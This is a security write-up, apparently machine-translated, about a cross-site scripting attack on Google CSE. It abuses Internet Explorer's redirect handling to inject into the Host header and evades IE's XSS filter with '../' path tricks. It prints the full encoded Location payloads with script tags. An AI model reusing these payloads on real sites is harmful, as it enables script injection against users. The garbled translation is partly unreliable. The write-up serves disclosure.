XSS via host header

stay IE There was an interesting error processing redirection in , It can insert any character into Host In the head . Suppose you have the following http Respond to ：

HTTP/1.1 302 Find out

date ：2015 year 3 month 6 Sunday, Friday 08:35:32 GMT

The server ：Apache/2.2.22 (Debian)

X-Powered-By：PHP/5.4.36-0+deb7u3

Location ：http://example .com%2flogin.php

Vary: Accept-Encoding

Content-Length: 0

Connection: close

Content-Type: text/html

Guess what the next request will be ？ Will it be released ？Location The header does not look correct ...... So this is IE What we did ：

GET /login.phphp/ HTTP/1.1

Accept: text/html, application/xhtml+xml, */*

Accept-Language: pl-PL

The user agent ：Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko

Accept-Encoding: gzip, deflate

Host: example.com/login.php

DNT: 1

Connection: Keep-Alive

Cache-Control: no-cache

What you can see is right ：Host In the head “example.com/login.php”. There are also some strange paths ： Why on earth is login.phphp And the original URL There is nothing like that in ？ ok , It seems IE For its URL Coding and URL The decoded path makes some strange overlays . The picture shows everything ：

To move forward , You might expect the server to tend to 400 Bad Request In response to such a strange Host header . This is usually true ......

But fortunately ,Google Processing Host There are some quirks in the header , You can bypass it .

The quirk is to add the port number to the host header . It's not actually verified , You can put any string you like after the colon . As in the Gmail Like this ：

Gmail Smart enough , It can be coded correctly .

Continue to discuss the right XSS Before , I need to mention another Google Server specific behavior , It will be needed later to bypass IE Of XSS Protect . Usually , When you try to reach the inside of the path, a double dot appears （ for example /test1/../test2）,Google The server immediately normalizes it and issues a redirect .

however , When you add a semicolon to the path , Miraculously this will not happen again .

well , Let's move on to Google CSE XSS. It looks like this ：

The host header is clearly reflected in the response , No coding required . Please note that ,Burp Syntax highlighting for is misleading in screenshots ：</textarea> The tag is actually turned off , The script will be executed .

So I prepared a simple web page , Return below http Respond to ：

HTTP/1.1 302 Found

Server: Apache/2.2.22 (Debian)

Location: https://www.google.com%3a443%2fcse%2ftools%2fcreate_onthefly%3b% 3c%2ftextarea%3e%3cscript%3ealert(1)%3c%2fscript%3e

It is expected that the next request will contain the following host headers ：

host ：www.google.com:443/cse/tools/create_onthefly;</textarea><script>alert(1)</script>

This did happen , but IE Know something happened here ......

Fortunately, ,IE Of XSS The filter is stupid , It's easy to get around it . Remember the semicolon and “../” Your skills ？ ok , The filter seems to pass the address bar URL Compare with the page content to work . therefore , When you /<svg/onload=alert(1)/../../ When a request is made ,IE It will be automatically normalized to... In the address bar / And will no longer see XSS. This is so funny ！

So I ended up with a page with the following title ：

Location ：https://www.google.com%3a443%2fcse%2ftools%2fcreate_onthefly%3b%3c%2ftextarea%3e%3csvg%2fonload%3dalert%28document%2edomain%29 %3e%3b%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e %2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f

（ Where the value is decoded as ： Location ：https://www.google.com:443/cse/tools/create_onthefly;</textarea><svg/onload=alert(document.domain)> ;/../.. /../../../../../../../../../../../../)